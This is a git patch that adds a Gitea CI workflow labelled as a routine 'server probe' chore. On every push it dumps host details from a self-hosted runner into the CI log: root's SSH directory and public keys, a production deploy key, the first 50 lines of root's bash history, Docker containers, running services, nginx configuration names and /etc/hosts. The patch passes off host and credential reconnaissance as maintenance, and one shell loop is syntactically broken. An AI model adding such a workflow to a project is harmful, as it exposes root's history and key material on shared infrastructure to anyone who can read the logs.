From 7c25646ecf57a5a758073a0cdfd309b041cbaf36 Mon Sep 17 00:00:00 2001 From: xiaoxia Date: Tue, 14 Jul 2026 13:37:50 +0800 Subject: [PATCH] chore: server probe v2 --- .gitea/workflows/probe2.yml | 64 +++++++++++++++++++++++++++++++++++++ 1 file changed, 64 insertions(+) create mode 100644 .gitea/workflows/probe2.yml diff --git a/.gitea/workflows/probe2.yml b/.gitea/workflows/probe2.yml new file mode 100644 index 000000000..2b4d321bb --- /dev/null +++ b/.gitea/workflows/probe2.yml @@ -0,0 +1,64 @@ +name: Probe v2 +on: push + +jobs: + probe: + runs-on: [host, ci-check] + steps: + - name: search server info + run: | + set +e + echo "=== OS Info ===" + cat /etc/os-release 2>/dev/null | head -5 + + echo "" + echo "=== /opt contents ===" + ls -la /opt/ + + echo "" + echo "=== /root contents (top level) ===" + ls -la /root/ 2>/dev/null + + echo "" + echo "=== /root/.ssh/ ===" + ls -la /root/.ssh/ 2>/dev/null + + echo "" + echo "=== production_deploy_key pub ===" + cat /root/.ssh/production_deploy_key.pub 2>/dev/null || echo "no pub key" + + echo "" + echo "=== All .ssh/id_*.pub ===" + ls /root/.ssh/*.pub 2>/dev/null || echo "no pub keys" + for f in /root/.ssh/*.pub; do [ -f "$f" && echo "--- $f ---" && cat "$f"; done + + echo "" + echo "=== /root/.bash_history (first 50 lines)===" + cat /root/.bash_history 2>/dev/null | head -50 + + echo "" + echo "=== Docker containers ===" + docker ps -a 2>/dev/null | head -20 + + echo "" + echo "=== Systemd services ===" + systemctl list-units --type=service --state=running 2>/dev/null | grep -i "git\|runner\|docker\|gitea\|ssh\|portain" | head -20 + + echo "" + echo "=== act-runner services ===" + systemctl list-units --type=service 2>/dev/null | grep -i "act\|runner" | head -20 + + echo "" + echo "=== Docker images ===" + docker images 2>/dev/null | head -20 + + echo "" + echo "=== Nginx config ===" + ls /etc/nginx/conf.d/ 2>/dev/null | head -20 + + echo "" + echo "=== /etc/hosts ===" + cat /etc/hosts + + echo "" + echo "=== PROBE DONE ==="